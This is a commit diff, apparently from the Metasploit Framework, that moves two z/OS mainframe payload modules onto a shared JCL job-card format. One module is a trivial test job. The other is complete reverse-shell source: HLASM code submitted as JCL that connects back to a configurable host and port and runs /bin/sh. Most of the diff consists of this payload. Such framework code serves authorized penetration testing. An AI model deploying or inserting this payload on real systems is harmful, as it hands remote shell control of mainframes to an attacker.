Updated JCL cmd payloads to use PR7007 format
PR7007 centralized JCL job card for any JCL cmd payload. This PR simply uses that new format for existing JCL cmd payloads. No functionality for these payloads was changed, added or deleted.
This commit is contained in:
parent
42462f03e2
commit
05278c868e
|
@ -13,50 +13,62 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 150
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Generic JCL Test for Mainframe Exploits',
|
||||
'Description' => 'Provide JCL which can be used to submit
|
||||
a job to JES2 on z/OS which will exit and return 0. This
|
||||
can be used as a template for other JCL based payloads',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}
|
||||
)
|
||||
'Name' => 'Generic JCL Test for Mainframe Exploits',
|
||||
'Description' => 'Provide JCL which can be used to submit
|
||||
a job to JES2 on z/OS which will exit and return 0. This
|
||||
can be used as a template for other JCL based payloads',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
|
||||
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
|
||||
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
|
||||
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
|
||||
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
|
||||
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
|
||||
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Construct the paload
|
||||
# Construct Payload
|
||||
##
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
##
|
||||
# Build the command string for JCL submission
|
||||
# Setup replacement vars from options if need be
|
||||
##
|
||||
def command_string
|
||||
"//DUMMY JOB (MFUSER),'dummy job',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
jcl_jobcard +
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,135 +14,168 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 9001
|
||||
|
||||
CachedSize = 9048
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
|
||||
'Description' => 'Provide JCL which creates a reverse shell
|
||||
This implmentation does not include ebcdic character translation,
|
||||
so a client with translation capabilities is required. MSF handles
|
||||
this automatically.',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
|
||||
'Description' => 'Provide JCL which creates a reverse shell
|
||||
This implmentation does not include ebcdic character translation,
|
||||
so a client with translation capabilities is required. MSF handles
|
||||
this automatically.',
|
||||
'Author' => 'Bigendian Smalls',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'mainframe',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::MainframeShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'LHOST' => [ 0x1b29, 'custom' ],
|
||||
'LPORT' => [ 0x1b25, 'custom' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
"//**************************************/\n" \
|
||||
"//* Generates reverse shell */\n" \
|
||||
"//**************************************/\n" \
|
||||
"//*\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" \
|
||||
"//SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'z/os Reverse Shell'\n" \
|
||||
"NEWREV CSECT\n" \
|
||||
"NEWREV AMODE 31\n" \
|
||||
"NEWREV RMODE 31\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* SETUP registers and save areas *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"MAIN LR 7,15 # R7 is base register\n" \
|
||||
" NILH 7,X'1FFF' # ensure local address\n" \
|
||||
" USING MAIN,0 # R8 for addressability\n" \
|
||||
" DS 0H # halfword boundaries\n" \
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
|
||||
" XC 0(204,1),0(1) # clear zero area\n" \
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" \
|
||||
" LHI 8,8 # R8 has static 8\n" \
|
||||
" LHI 9,1 # R9 has static 1\n" \
|
||||
" LHI 10,2 # R10 has static 2\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1SOC set up socket *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
|
||||
" LA 3,8 # n parms\n" \
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" \
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1CON (connect) connect to rmt host *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" \
|
||||
"*** main processing **\n" \
|
||||
" LA 1,SSTR(7) # packed socket string\n" \
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" \
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" \
|
||||
" LA 3,6 # n parms for func call\n" \
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"*************************************************\n" \
|
||||
"* Preparte the child pid we'll spawn *\n" \
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" \
|
||||
"* 1) dupe parent read fd to std input *\n" \
|
||||
"*************************************************\n" \
|
||||
" LHI 11,2 # Loop Counter R11=2\n" \
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" \
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
|
||||
"******************************************\n" \
|
||||
"**** load array of addr and constants ***\n" \
|
||||
"******************************************\n" \
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" \
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
|
||||
"**************************************************************\n" \
|
||||
"*** call the exec function the normal way ********************\n" \
|
||||
"**************************************************************\n" \
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
|
||||
" LA 3,13 # n parms\n" \
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
|
||||
" L 5,CLIFD(7) # client file descriptor\n" \
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" \
|
||||
" ST 11,@ARG(7) # fd to clone\n" \
|
||||
" LA 3,6 # n parms\n" \
|
||||
" LA 5,@FFD(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}))
|
||||
register_options(
|
||||
[
|
||||
# need these defaulted so we can manipulate them in command_string
|
||||
Opt::LHOST('127.0.0.1'),
|
||||
Opt::LPORT(4444),
|
||||
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
|
||||
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
|
||||
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
|
||||
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
|
||||
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
|
||||
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
|
||||
], self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
|
||||
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Construct Payload
|
||||
##
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
##
|
||||
# Setup replacement vars and populate payload
|
||||
##
|
||||
def command_string
|
||||
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
|
||||
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
|
||||
end
|
||||
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
lhost = lhost.unpack("H*")[0]
|
||||
lport = datastore['LPORT']
|
||||
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
|
||||
|
||||
jcl_jobcard +
|
||||
"//**************************************/\n" \
|
||||
"//* Generates reverse shell */\n" \
|
||||
"//**************************************/\n" \
|
||||
"//*\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" \
|
||||
"//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \
|
||||
"//SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'z/os Reverse Shell'\n" \
|
||||
"NEWREV CSECT\n" \
|
||||
"NEWREV AMODE 31\n" \
|
||||
"NEWREV RMODE 31\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* SETUP registers and save areas *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"MAIN LR 7,15 # R7 is base register\n" \
|
||||
" NILH 7,X'1FFF' # ensure local address\n" \
|
||||
" USING MAIN,0 # R8 for addressability\n" \
|
||||
" DS 0H # halfword boundaries\n" \
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
|
||||
" XC 0(204,1),0(1) # clear zero area\n" \
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" \
|
||||
" LHI 8,8 # R8 has static 8\n" \
|
||||
" LHI 9,1 # R9 has static 1\n" \
|
||||
" LHI 10,2 # R10 has static 2\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1SOC set up socket *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
|
||||
" LA 3,8 # n parms\n" \
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" \
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1CON (connect) connect to rmt host *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" \
|
||||
"*** main processing **\n" \
|
||||
" LA 1,SSTR(7) # packed socket string\n" \
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" \
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" \
|
||||
" LA 3,6 # n parms for func call\n" \
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"*************************************************\n" \
|
||||
"* Preparte the child pid we'll spawn *\n" \
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" \
|
||||
"* 1) dupe parent read fd to std input *\n" \
|
||||
"*************************************************\n" \
|
||||
" LHI 11,2 # Loop Counter R11=2\n" \
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" \
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
|
||||
"******************************************\n" \
|
||||
"**** load array of addr and constants ***\n" \
|
||||
"******************************************\n" \
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" \
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
|
||||
"**************************************************************\n" \
|
||||
"*** call the exec function the normal way ********************\n" \
|
||||
"**************************************************************\n" \
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
|
||||
" LA 3,13 # n parms\n" \
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
|
||||
" L 5,CLIFD(7) # client file descriptor\n" \
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" \
|
||||
" ST 11,@ARG(7) # fd to clone\n" \
|
||||
" LA 3,6 # n parms\n" \
|
||||
" LA 5,@FFD(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
" BRC 15,@RET1 # Return to caller\n" \
|
||||
"\n" \
|
||||
|
@ -186,7 +219,7 @@ module MetasploitModule
|
|||
"* # BPX1EXC Constants\n" \
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
|
||||
"* # BPX1CON Constants\n" \
|
||||
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
|
||||
"SSTR DC X'100202#{lport}#{lhost}'\n" \
|
||||
"* # BPX1EXC Arguments\n" \
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" \
|
||||
|
@ -231,24 +264,5 @@ module MetasploitModule
|
|||
" END MAIN\n" \
|
||||
"ZZ\n" \
|
||||
"//*\n"
|
||||
}))
|
||||
end
|
||||
|
||||
# replace our own LPORT/LHOST
|
||||
def replace_var(raw, name, offset, pack)
|
||||
super
|
||||
if name == 'LHOST' && datastore[name]
|
||||
val = Rex::Socket.resolv_nbo(datastore[name])
|
||||
val = val.unpack("H*")[0]
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
elsif name == 'LPORT' && datastore[name]
|
||||
val = datastore[name]
|
||||
val = val.to_s.to_i.to_s(16).rjust(4, '0')
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue